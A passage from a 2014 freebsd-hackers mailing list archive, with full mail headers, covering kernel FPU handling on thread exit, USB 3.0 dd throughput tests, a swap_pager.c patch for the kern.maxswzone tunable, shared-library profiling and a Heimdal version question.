to, but yes, it works fine. Thank you, committed as r263912. >=20 > [On cpu_throw:] >=20 > >It seems that you formulation somewhat contradictory. The cpu_throw > >is used only to do the last switch out of the exiting thread. >=20 > Ah, I was thinking of the code paths that get there by calling > sched_throw() with NULL, in the various mp_machdep.c files. > You're looking at the one other code path that reaches > sched_throw() (with a non-NULL argument), in thread_exit(): >=20 > >And indeed, I think that there is a bug, on x86. The CR0.TS must be > >cleared, and fpcurthread must be reset if current cpu still carries > >FPU state of the curthread. At least, I do not see anything which > >would guarantee that CLTS was done before cpu_throw. >=20 > It turns out this is OK because of this: >=20 > cpu_thread_exit(td); /* XXXSMP */ >=20 > cpu_thread_exit() does an fpudrop if needed. >=20 > (I don't think this is a particularly clean design, but it > does work.) You are right. I missed the cpu_thread_exit() doing FPU state drop. --U/fatWn3w9i48dtV Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTNrabAAoJEJDCuSvBvK1Brm4P/0j8CAKsJGkyC7URvmJoNJcC rCxIUyPubkJxdYqlY57pL7GX/Cu5OPlwF4zjRWkbn74SVFZu5CENkqL76q6JCkj7 PbZXQIbuxB2W+ekBTFrrNukKbjpQHinbGSUAig0AciSNaKTV4kNbth0OB4SAjsqS xVVwDizowi5y9a89E5h/AT+JzL93YFYT9BgWXVhha38SkG4WylJvpHlMRBH+H0UH XGDTPUMaO3oKZwFM1L/XyFvq0pITVIy7S0hCxbOSwZv5QqBXehJfaOQyrM/PDXkg L7uf8mHLRE+SLsftl00koZOW4y/eWEG66cZnjeLT47KI8ozve0DjA4zLJksiLIRl mFNL6LGdwyal0r4DNPv8Y/S3tEhyzK+H2pNHbaNPBBdcMprQYRGtt6VukJiQ0hIZ PBuFTmxuwGOBAG3lPfo8bkwtoCwgAljyR299nOBSEP2KZ/fN8LmLplXfi51cV+Mx qipYD6+H7/NKOy8a0KS4eEAIrQMRtbetWVWDQ3cyFkzbpjSWe67ctz+hHSDuICnv Wzf2x2fRAmaCM897F9omQjioYh3X9ww8i58psTMCcvXzheNcaSeaeQh6hQc3jBH7 3EaJvryXFwl9Gb/buHvzHOq4b1yVUtIpjMJs+Hou+yy5WiyUyL9S+xMtn7DDZsf8 ymyQfmfLEcEmmGmCMoTB =Q6Ng -----END PGP SIGNATURE----- --U/fatWn3w9i48dtV-- From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 29 17:20:35 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5E5F8621; Sat, 29 Mar 2014 17:20:35 +0000 (UTC) Received: from mail-ob0-x22f.google.com (mail-ob0-x22f.google.com [IPv6:2607:f8b0:4003:c01::22f]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 1D6E08DE; Sat, 29 Mar 2014 17:20:35 +0000 (UTC) Received: by mail-ob0-f175.google.com with SMTP id uy5so7356272obc.34 for ; Sat, 29 Mar 2014 10:20:34 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=/zEJTM3TNGkoQI18vK611sfj0Aq5K0EFCPSVW65gUCM=; b=S0q11CJE5AHf4ezef572BOUX8dDLQFpGLpkdF3rJqvAtoU8Bz7n59CcFrwRYeyU1Ha X5DCZYdoJU3bjJw+8J3lQ5oU7tBhzsmTY5XOi/LtSYIVdUvTQzFlY5i/TykQIeJ9kG8I 6oprDxjvEhFvd16vkgUWwMyhlqdbRtF8FeKBjD2l+3Sy7uFm0gn98Y7scoAC7+ytAnw0 O6cDm7uUgpV84aufaDQVsgbzRvFDcpTiqclErCVcs4tMv9pSiatiJVUkSsgSPK96mZiV nNSj2wR5NfAOHPvrgFM4LKLtwg6YrWqPafynQs7UDBPhJUwKS3xxgO8EbydQksNDmaXF wQ9g== MIME-Version: 1.0 X-Received: by 10.182.241.67 with SMTP id wg3mr12852953obc.16.1396113634381; Sat, 29 Mar 2014 10:20:34 -0700 (PDT) Received: by 10.76.152.197 with HTTP; Sat, 29 Mar 2014 10:20:34 -0700 (PDT) In-Reply-To: References: Date: Sat, 29 Mar 2014 21:20:34 +0400 Message-ID: Subject: Re: [xhci] USB 3.0 not working, bug or feature usb/179342? From: Andrey Fesenko To: freebsd-current , "freebsd-hackers@freebsd.org" Content-Type: text/plain; charset=UTF-8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 29 Mar 2014 17:20:35 -0000 On Sat, Mar 29, 2014 at 4:37 AM, Andrey Fesenko wrote: > and USB3 flash drive > ugen2.4: at usbus2, cfg=0 md=HOST > spd=HIGH (480Mbps) pwr=ON (498mA) > full list http://pastie.org/8963116 I apologize for panic after additional searches proper BIOS configuration able to identify flash drive as USB3 ugen0.2: at usbus0, cfg=0 md=HOST spd=SUPER (5.0Gbps) pwr=ON (224mA) while writing speed test file with ramdisk is almost unchanged :( # dd if=/dev/random of=/mnt/ramdisck/test.file bs=10m count=198 2076180480 bytes transferred in 28.443097 secs (72994178 bytes/sec) # dd if=/mnt/ramdisck/test.file of=/mnt/usb3/test.file bs=10m count=198 2076180480 bytes transferred in 222.810014 secs (9318165 bytes/sec) # dd if=/mnt/ramdisck/test.file of=/mnt/usb2/test.file bs=10m count=198 2076180480 bytes transferred in 248.585099 secs (8351991 bytes/sec) From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 29 17:46:57 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 96185399; Sat, 29 Mar 2014 17:46:57 +0000 (UTC) Received: from mail-qc0-x22b.google.com (mail-qc0-x22b.google.com [IPv6:2607:f8b0:400d:c01::22b]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 4098AAC0; Sat, 29 Mar 2014 17:46:57 +0000 (UTC) Received: by mail-qc0-f171.google.com with SMTP id c9so7308412qcz.16 for ; Sat, 29 Mar 2014 10:46:56 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=RisxQBjqy5XsvUWgmA8PGo9+mdC6ZL7LZovH2Y3zYT0=; b=K37L6MA8PPIka1iRKTFj8A/IWhV+oNbvqDmDBNlUH8yqQn8CFJfdaJnSLPUSB5qYPF BkQiPOEkGwTP/Be/2H9qR8U7WrfUBqnKD+BRu6Jccc8u5qx+cxllYKC0XbUJLSck2cAZ 2+6M/Dh4WzYA5LnmkvfkbF+77MkZlcwKVygKLLl796lbaD0anEzkHqYIEDh+lQ/6mlPD cLJtPEMBByF8j8U9hoQ2II6+iiZo81SG3TSRX8FwaVHBZpGJwB+4MqaYlbmXBPqKqrl2 AznKHCZdKFhPpXhYC1yO6VTWUUZzaCMAlNjwuePT5R+pwfYCAHbXVuM04jE1eeZL75EH O5LA== MIME-Version: 1.0 X-Received: by 10.224.30.70 with SMTP id t6mr16978293qac.30.1396115216389; Sat, 29 Mar 2014 10:46:56 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.50.143 with HTTP; Sat, 29 Mar 2014 10:46:56 -0700 (PDT) Received: by 10.224.50.143 with HTTP; Sat, 29 Mar 2014 10:46:56 -0700 (PDT) In-Reply-To: References: Date: Sat, 29 Mar 2014 10:46:56 -0700 X-Google-Sender-Auth: r4jqzP386hfJmc1MIKtlE93tv-Q Message-ID: Subject: Re: [xhci] USB 3.0 not working, bug or feature usb/179342? From: Adrian Chadd To: Andrey Fesenko Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: freebsd-hackers@freebsd.org, freebsd-current X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 29 Mar 2014 17:46:57 -0000 Try read tests? Adrian On Mar 29, 2014 10:20 AM, "Andrey Fesenko" wrote: > On Sat, Mar 29, 2014 at 4:37 AM, Andrey Fesenko > wrote: > > and USB3 flash drive > > ugen2.4: at usbus2, cfg=0 md=HOST > > spd=HIGH (480Mbps) pwr=ON (498mA) > > full list http://pastie.org/8963116 > > I apologize for panic after additional searches proper BIOS > configuration able to identify flash drive as USB3 > > ugen0.2: at usbus0, cfg=0 md=HOST > spd=SUPER (5.0Gbps) pwr=ON (224mA) > > while writing speed test file with ramdisk is almost unchanged :( > > # dd if=/dev/random of=/mnt/ramdisck/test.file bs=10m count=198 > 2076180480 bytes transferred in 28.443097 secs (72994178 bytes/sec) > # dd if=/mnt/ramdisck/test.file of=/mnt/usb3/test.file bs=10m > count=198 > 2076180480 bytes transferred in 222.810014 secs (9318165 bytes/sec) > # dd if=/mnt/ramdisck/test.file of=/mnt/usb2/test.file bs=10m > count=198 > 2076180480 bytes transferred in 248.585099 secs (8351991 bytes/sec) > _______________________________________________ > freebsd-current@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-current > To unsubscribe, send any mail to "freebsd-current-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Sat Mar 29 19:26:51 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E28DF9EE; Sat, 29 Mar 2014 19:26:50 +0000 (UTC) Received: from mail-ob0-x22b.google.com (mail-ob0-x22b.google.com [IPv6:2607:f8b0:4003:c01::22b]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 91F7529A; Sat, 29 Mar 2014 19:26:50 +0000 (UTC) Received: by mail-ob0-f171.google.com with SMTP id wn1so7531740obc.16 for ; Sat, 29 Mar 2014 12:26:49 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=VY9NGEpG4c7+4fxSIWUmpi76oKWKq8Tm4nU1Vz/zbhE=; b=zuE2wEeJOgu3cvuSTrtFdtRMahgM291k3hZLy840aT+icnZbKIjsoIUg+6M/QiVOqG URO7Gq1tjkGyJujo9HWWSW8Sr3cnYv9B3n/v9kcHF3ijTqs+1vBlM/9FUtLOV3WLNOtL vZEq9HjJpP3ESKwnUJqDmPvkT4P61oE187dwQJuYLFJZZWJ+81ts88ElXYfU3JFw7r23 rEilpuo3VLjfjPUFos+mDY9ejrDLJjRrh3cI2ljrEVs82hAEJzLv/WPio3nfIxv3TMTN gK41hIFyCjMcxadQjmZNYvbyoHcGTBJvcxr3L9djUIQyfIjLlExB0Gv0PTJYVXKBfifi veTA== MIME-Version: 1.0 X-Received: by 10.60.46.98 with SMTP id u2mr2183992oem.44.1396121209792; Sat, 29 Mar 2014 12:26:49 -0700 (PDT) Received: by 10.76.152.197 with HTTP; Sat, 29 Mar 2014 12:26:49 -0700 (PDT) In-Reply-To: References: Date: Sat, 29 Mar 2014 23:26:49 +0400 Message-ID: Subject: Re: [xhci] USB 3.0 not working, bug or feature usb/179342? From: Andrey Fesenko To: Adrian Chadd Content-Type: text/plain; charset=UTF-8 Cc: "freebsd-hackers@freebsd.org" , freebsd-current X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 29 Mar 2014 19:26:51 -0000 On Sat, Mar 29, 2014 at 9:46 PM, Adrian Chadd wrote: > Try read tests? > > Adrian > > On Mar 29, 2014 10:20 AM, "Andrey Fesenko" wrote: >> >> On Sat, Mar 29, 2014 at 4:37 AM, Andrey Fesenko >> wrote: >> > and USB3 flash drive >> > ugen2.4: at usbus2, cfg=0 md=HOST >> > spd=HIGH (480Mbps) pwr=ON (498mA) >> > full list http://pastie.org/8963116 >> >> I apologize for panic after additional searches proper BIOS >> configuration able to identify flash drive as USB3 >> >> ugen0.2: at usbus0, cfg=0 md=HOST >> spd=SUPER (5.0Gbps) pwr=ON (224mA) >> >> while writing speed test file with ramdisk is almost unchanged :( >> >> # dd if=/dev/random of=/mnt/ramdisck/test.file bs=10m count=198 >> 2076180480 bytes transferred in 28.443097 secs (72994178 bytes/sec) >> # dd if=/mnt/ramdisck/test.file of=/mnt/usb3/test.file bs=10m >> count=198 >> 2076180480 bytes transferred in 222.810014 secs (9318165 bytes/sec) >> # dd if=/mnt/ramdisck/test.file of=/mnt/usb2/test.file bs=10m >> count=198 >> 2076180480 bytes transferred in 248.585099 secs (8351991 bytes/sec) # dd if=/mnt/usb2/test.file of=/mnt/ramdisck/test.file bs=10m count=198 2076180480 bytes transferred in 1.354000 secs (1533368050 bytes/sec) # dd if=/mnt/usb3/test.file of=/mnt/ramdisck/test.file bs=10m count=198 2076180480 bytes transferred in 1.498134 secs (1385844184 bytes/sec) probably need to try something different as tested. flash spec http://www.kingston.com/datasheets/dt100g3_us.pdf only 10MB/ sec.* write :) Strangely, the flash drive is not always defined, after mount USB2 mode it took two times reboot :( on the notebook USB2-only USB (UFS) <-> SSD (ZFS) # dd if=/mnt/usb3/test.file of=/tank/test.file bs=10m count=198 2076180480 bytes transferred in 57.370256 secs (36189144 bytes/sec) # dd if=/tank/test.file of=/mnt/usb3/test.file bs=10m count=198 2076180480 bytes transferred in 245.685052 secs (8450577 bytes/sec) From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 30 02:07:50 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E8F4D2A7 for ; Sun, 30 Mar 2014 02:07:50 +0000 (UTC) Received: from mail.modirum.com (mail.modirum.com [31.185.27.10]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id A7B5B3A1 for ; Sun, 30 Mar 2014 02:07:49 +0000 (UTC) Received: from 93-153-61-159.tmcz.cz ([93.153.61.159] helo=desktop.reztek) by mail.modirum.com with esmtpsa (TLSv1:DHE-RSA-AES256-SHA:256) (Exim 4.80.1 (FreeBSD)) (envelope-from ) id 1WU59w-0001nL-Is for freebsd-hackers@freebsd.org; Sun, 30 Mar 2014 02:07:40 +0000 From: Matthew Rezny To: freebsd-hackers@freebsd.org Subject: Re: kern.maxswzone Date: Sun, 30 Mar 2014 04:07:39 +0200 Message-ID: <2672336.0gB9Ql6EQP@desktop.reztek> Organization: RezTek, s.r.o. User-Agent: KMail/4.12.3 (FreeBSD/10.0-STABLE; KDE/4.12.3; amd64; ; ) In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 7Bit Content-Type: text/plain; charset="us-ascii" X-SA-Authenticated: Yes X-SA-Exim-Connect-IP: 93.153.61.159 X-SA-Exim-Mail-From: matthew@reztek.cz X-SA-Exim-Scanned: No (on mail.modirum.com); SAEximRunCond expanded to false X-Mailman-Approved-At: Sun, 30 Mar 2014 02:23:52 +0000 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Mar 2014 02:07:51 -0000 > i configured 4.7GB swap on 512MB computer and i see in logs > > warning: total configured swap (1249880 pages) exceeds maximum recommended > amount (986496 pages). warning: increase kern.maxswzone or reduce amount of > swap. > > > fine, but after increasing maxswzone to 60000000 from less than 40 > millions of default, no difference in message > > tried even increasing it more - no effect, same messages > > change is in /boot/loader.conf and it sets properly as sysctl > kern.maxswzone confirms. > > what's wrong I hit this issue recently and someone on another list provided a helpful patch. I did some digging and determined that everything to do with maxswzone is a mess. It's a tuneable that can only be adjusted down, not up. That message suggests it should be increased but that's just not possible without patching. To add to the confusion, the units are inconsistent between the way you set it and what is displayed in the messages. For extra bonus confusion, not only is the value you set silently limited, but the default value is excessive and is thus silently limited so you don't even know the starting point until you look at how it is calculated and limited. Filing a PR with a better patch is on my todo list, but not near the top. I'd like to change it to take pages rather than bytes as that would match the messages and it would be more direct. As it is, the amount specified in bytes is used to calculate some number of pages, and the number of pages must be a multiple of some constant. Do to the way the pages are allocated in chunks, the apparent size of a page is 17.25 bytes. So, for your case, you want to set maxswzone to at least 21MB after applying the patch. If you just apply the patch without setting the value explicitly, then the default of 34.5MB will be used, which is more than enough for your memory and swap sizes. --- /sys/vm/swap_pager.c.orig Wed Feb 20 00:15:49 2013 -0600 +++ /sys/vm/swap_pager.c Sat Feb 23 13:08:54 2013 -0600 @@ -546,7 +546,7 @@ * is typically limited to around 32MB by default. */ n = cnt.v_page_count / 2; - if (maxswzone && n > maxswzone / sizeof(struct swblock)) + if (maxswzone) n = maxswzone / sizeof(struct swblock); n2 = n; swap_zone = uma_zcreate("SWAPMETA", sizeof(struct swblock), NULL, NULL, From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 30 02:59:27 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0854B706 for ; Sun, 30 Mar 2014 02:59:27 +0000 (UTC) Received: from cain.gsoft.com.au (cain.gsoft.com.au [203.31.81.10]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 811838FC for ; Sun, 30 Mar 2014 02:59:26 +0000 (UTC) Received: from ur.dons.net.au (ppp118-210-34-185.lns20.adl2.internode.on.net [118.210.34.185]) (authenticated bits=0) by cain.gsoft.com.au (8.14.4/8.14.3) with ESMTP id s2U2i4vj056573 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NO); Sun, 30 Mar 2014 13:14:10 +1030 (CST) (envelope-from doconnor@gsoft.com.au) From: "Daniel O'Connor" Content-Type: multipart/signed; boundary="Apple-Mail=_E84BC45A-F6A9-4A0A-93A5-76911D153DF2"; protocol="application/pgp-signature"; micalg=pgp-sha1 Date: Sun, 30 Mar 2014 13:13:04 +1030 Subject: Profiling shared libraries To: FreeBSD Hackers Message-Id: <363F98EE-AF54-475D-AF4A-F99BD3D3CCF9@gsoft.com.au> Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) X-Mailer: Apple Mail (2.1874) X-Spam-Score: 0.163 () BAYES_00,RDNS_DYNAMIC X-Scanned-By: MIMEDefang 2.67 on 203.31.81.10 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Mar 2014 02:59:27 -0000 --Apple-Mail=_E84BC45A-F6A9-4A0A-93A5-76911D153DF2 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=us-ascii Hi, I have a shared library which is loaded into a Tcl interpreter and also = loads submodules and I would like to profile it. Unfortunately it seems = gprof does not grok shared libraries. I did some googling and it look = like Linux has sprof for this but I can't see a port for FreeBSD. Does anyone have any other ideas? I have looked at DTrace but it's a bit fiddly to get working with my = systems in the field so I'd prefer a pure userland solution if possible. Thanks -- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum GPG Fingerprint - 5596 B766 97C0 0E94 4347 295E E593 DC20 7B3F CE8C --Apple-Mail=_E84BC45A-F6A9-4A0A-93A5-76911D153DF2 Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=signature.asc Content-Type: application/pgp-signature; name=signature.asc Content-Description: Message signed with OpenPGP using GPGMail -----BEGIN PGP SIGNATURE----- Comment: GPGTools - http://gpgtools.org iD8DBQFTN4S45ZPcIHs/zowRAm5xAJ9qm0abgTM5N2uOqr+p7tDdm01cXwCfZCiU RdqcmVRVuTVOKW/Agkv19Ow= =bVjb -----END PGP SIGNATURE----- --Apple-Mail=_E84BC45A-F6A9-4A0A-93A5-76911D153DF2-- From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 30 03:42:29 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A43BACE1 for ; Sun, 30 Mar 2014 03:42:29 +0000 (UTC) Received: from mail-ee0-x235.google.com (mail-ee0-x235.google.com [IPv6:2a00:1450:4013:c00::235]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 43438CB9 for ; Sun, 30 Mar 2014 03:42:29 +0000 (UTC) Received: by mail-ee0-f53.google.com with SMTP id b57so5404659eek.12 for ; Sat, 29 Mar 2014 20:42:27 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=IetzpzoJQ0KI8UQeKao/memTxU0nEdkZS3QAIvcptkQ=; b=bwHemwtq4iXLRfdvDo7sqMEWBpbmIF4WiBbEqNMUykIGm4DzIbaZS3lHooYGRsG9z0 H5emc1gwwfquZWAiizB3w8+Sl99cSfH5v/kEGXXWCskeMYVdO15I0SFCv+LJ18vwj0+9 TEaOUPVD25qX7OdxQUVbERXMd18TiiDJtleJ2D3nhQLYpWilK7jYhZIk/+Jdj6hRGfdn ITP/gkhrvD3V8T4s80fzuYlpKR2rfjf/qJH/0eadn5BwGYlE6hU1SoSJfHK46aytjnTK YqpYPLl+VlidCrmVbgpWHqb8lW/z1TZpnQ9lYvVaLdMErXeuhNBue0IS5m9A99k/Qpgj oCqA== MIME-Version: 1.0 X-Received: by 10.14.198.197 with SMTP id v45mr21463438een.9.1396150947549; Sat, 29 Mar 2014 20:42:27 -0700 (PDT) Received: by 10.14.214.65 with HTTP; Sat, 29 Mar 2014 20:42:27 -0700 (PDT) Date: Sat, 29 Mar 2014 23:42:27 -0400 Message-ID: Subject: Heimdal in HEAD From: Robert Simmons To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=UTF-8 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Mar 2014 03:42:29 -0000 According to the source code repository and the distribution files of Heimdal, the project has released 1.5.3: http://www.h5l.org/dist/src/ https://github.com/heimdal/heimdal/tree/heimdal-1.5.3 It's actually about a year old, but they seem to have forgotten to update the project's website. Are there plans to pull 1.5.3 into FreeBSD Current? From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 30 04:22:04 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A7A1DFE5 for ; Sun, 30 Mar 2014 04:22:04 +0000 (UTC) Received: from dmz-mailsec-scanner-8.mit.edu (dmz-mailsec-scanner-8.mit.edu [18.7.68.37]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 3431FF42 for ; Sun, 30 Mar 2014 04:22:03 +0000 (UTC) X-AuditID: 12074425-f79906d000000cf9-5d-53379ab6378f Received: from mailhub-auth-3.mit.edu ( [18.9.21.43]) (using TLS with cipher AES256-SHA (256/256 bits)) (Client did not present a certificate) by dmz-mailsec-scanner-8.mit.edu (Symantec Messaging Gateway) with SMTP id 33.E6.03321.6BA97335; Sun, 30 Mar 2014 00:16:54 -0400 (EDT) Received: from outgoing.mit.edu (outgoing-auth-1.mit.edu [18.9.28.11]) by mailhub-auth-3.mit.edu (8.13.8/8.9.2) with ESMTP id s2U4GrgK032427; Sun, 30 Mar 2014 00:16:54 -0400 Received: from multics.mit.edu (system-low-sipb.mit.edu [18.187.2.37]) (authenticated bits=56) (User authenticated as kaduk@ATHENA.MIT.EDU) by outgoing.mit.edu (8.13.8/8.12.4) with ESMTP id s2U4GpRD026868 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Sun, 30 Mar 2014 00:16:53 -0400 Received: (from kaduk@localhost) by multics.mit.edu (8.12.9.20060308) id s2U4Gp5q005649; Sun, 30 Mar 2014 00:16:51 -0400 (EDT) Date: Sun, 30 Mar 2014 00:16:51 -0400 (EDT) From: Benjamin Kaduk To: Robert Simmons Subject: Re: Heimdal in HEAD In-Reply-To: Message-ID: References: User-Agent: Alpine 1.10 (GSO 962 2008-03-14) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFnrDIsWRmVeSWpSXmKPExsUixCmqrbttlnmwwf+DmhbbN/9jtPjx9SKT A5PHjE/zWTx2zrrLHsAUxWWTkpqTWZZapG+XwJXxpHEve0Efa8WEax/YGhgnsHQxcnJICJhI PHrdxQhhi0lcuLeeDcQWEpjNJNF2SQnC3sgo8fSSTRcjF5B9iEni+P0WNgingVFi7YmDYB0s AtoSk7++Zgax2QRUJGa+2QgWFxHQkJjwejqYzSwgL3Fh8yGwbcICMhJft0Js4xQIlDi7uxHs Il4BR4m1L56xQmwOkDjfNQVspqiAjsTq/VOgagQlTs58wgIx01Li3J/rbBMYBWchSc1CklrA yLSKUTYlt0o3NzEzpzg1Wbc4OTEvL7VI10IvN7NELzWldBMjKFDZXVR3ME44pHSIUYCDUYmH N6HXPFiINbGsuDL3EKMkB5OSKG9qOVCILyk/pTIjsTgjvqg0J7X4EKMEB7OSCO8+PaAcb0pi ZVVqUT5MSpqDRUmcV55DO1hIID2xJDU7NbUgtQgmK8PBoSTBO30mUKNgUWp6akVaZk4JQpqJ gxNkOA/Q8EyQGt7igsTc4sx0iPwpRkUpcd61M4ASAiCJjNI8uF5YInnFKA70ijDvNJB2HmAS gut+BTSYCWiwW5EZyOCSRISUVAPj5AuuYQ6P9hqo6TKs2f2i7ZOJf826/J3Kd+ebnio/mrdu 4amSiECpG6388xtzfhXYiifUJjSqXlml2tgxtZZt//vke67PTryyjFuyZd7Jx6/91ANXb73Z HxLrFcFS+6Pv4IF063l+Ja7r5i9gXKhc9PxYdHRQnUUr35VKGXmxQzELpsssMBFUYinOSDTU Yi4qTgQAN244c/8CAAA= Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Mar 2014 04:22:04 -0000 On Sat, 29 Mar 2014, Robert Simmons wrote: > According to the source code repository and the distribution files of > Heimdal, the project has released 1.5.3: > http://www.h5l.org/dist/src/ > > https://github.com/heimdal/heimdal/tree/heimdal-1.5.3 > > It's actually about a year old, but they seem to have forgotten to > update the project's website. > > Are there plans to pull 1.5.3 into FreeBSD Current? Having just gotten back from the European AFS and Kerberos conference, where we got a presentation about what shiny new things will be coming in 1.6 (currently in rc2), it hardly seems worth the effort to pull in 1.5.3. -Ben From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 30 14:07:34 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 141C3AB7 for ; Sun, 30 Mar 2014 14:07:34 +0000 (UTC) Received: from mail-ob0-x230.google.com (mail-ob0-x230.google.com [IPv6:2607:f8b0:4003:c01::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id D3425FB2 for ; Sun, 30 Mar 2014 